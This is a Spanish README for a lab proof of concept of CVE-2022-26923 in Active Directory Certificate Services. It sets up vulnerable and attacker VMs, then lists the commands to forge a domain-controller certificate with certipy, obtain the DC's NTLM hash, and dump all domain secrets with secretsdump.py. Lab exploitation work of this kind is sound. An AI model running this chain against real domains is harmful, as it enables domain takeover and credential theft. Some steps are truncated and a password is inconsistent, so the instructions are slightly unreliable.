
Una prueba de concepto que explota CVE-2022-26923.
Esta vulnerabilidad permitía a un usuario con pocos privilegios escalar privilegios a administrador de dominio en un entorno predeterminado de Active Directory con el rol de servidor de Servicios de Certificados de Active Directory (AD CS) instalado.
Está relacionada principalmente con el rol de Servicios de Certificados de Active Directory (AD CS). El rol de AD CS es un rol de Windows Server que permite construir una infraestructura de clave pública (PKI) y proporcionar capacidades de criptografía de clave pública, certificados digitales y firmas digitales para su organización. El rol de AD CS se utiliza para emitir certificados para usuarios, equipos y servicios.
La versión de Windows Server utilizada es Windows Server 2019 Standard Evaluation, que es la versión vulnerable. El Vagrantfile proporcionado (en la carpeta Vulnerable Machine) creará una máquina virtual de Windows Server 2019 con el rol AD CS instalado y configurado, junto con un usuario con pocos privilegios con las siguientes credenciales:
userV@grant1Para crear el entorno, sigue estos pasos:
CVE-2022-26923:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile reemplazando la dirección IP en la siguiente línea:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy instalado, puedes usar la máquina vagrant proporcionada en el directorio Attacker Machine ejecutando el siguiente comando:
cd 'Attacker Machine'
vagrant up
La carpeta Attacker Machine contiene una máquina vagrant junto con un script de shell que instalará la última versión de certipy. También puedes usar el script para instalar certipy en tu máquina linux.
Para conectarte a la máquina atacante, ejecuta el siguiente comando desde el directorio Attacker Machine:
vagrant ssh
Ahora que estás en la máquina atacante, necesitas agregar la dirección IP del Windows Server al archivo hosts:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
Nota: Si cambiaste la dirección IP en el Vagrantfile de la máquina vulnerable, también debes cambiarla aquí.
Luego, creemos una nueva cuenta de equipo en el dominio:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
Para verificar que la cuenta de equipo se ha creado, conéctate a la máquina vulnerable con el usuario user y la contraseña V@grant1 ejecutando el siguiente comando desde el directorio Vulnerable Machine:
vagrant ssh
Luego, ejecuta el siguiente comando para verificar que la cuenta de equipo se ha creado:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
Esta cuenta de equipo tiene el dnsHostName CVEPC.vagrant.local. Lo que queremos es cambiar este dnsHostName a VAGRANT-K51B6U3.vagrant.local, que es el controlador de dominio.
Para ello, primero debemos eliminar el nombre de principal de servicio (SPN) de la cuenta de equipo CVEPC ejecutando el siguiente comando:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
Luego podemos cambiar el dnsHostName a VAGRANT-K51B6U3.vagrant.local ejecutando el siguiente comando:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
Ahora que tenemos una cuenta de equipo con el dnsHostName VAGRANT-K51B6U3.vagrant.local, podemos solicitar un certificado malicioso desde la máquina vulnerable ejecutando el siguiente comando en la máquina atacante:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
Deberías obtener un certificado llamado vagrant-k51b6u3.pfx en el directorio actual.
Para comprobar que el certificado es válido, puedes usar la herramienta auth de certipy ejecutando el siguiente comando:
certipy auth -pfx vagrant-k51b6u3.pfx
Si el certificado es válido, deberías obtener el hash NTLM del controlador de dominio, el cual puede ser utilizado de muchas formas maliciosas.
Como prueba de concepto, podemos usar el hash NTLM para recuperar todos los secretos almacenados en el dominio (como se explica en el artículo del autor de la CVE). Para ello, podemos usar la herramienta secretsdump.py del paquete impacket (que está instalado con la última versión de certipy).
Para usar la herramienta, ejecuta el siguiente comando:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
Reemplaza <NTLM hash> con el hash NTLM que obtuviste del paso anterior.
Como resultado, deberías obtener todos los secretos almacenados en el dominio.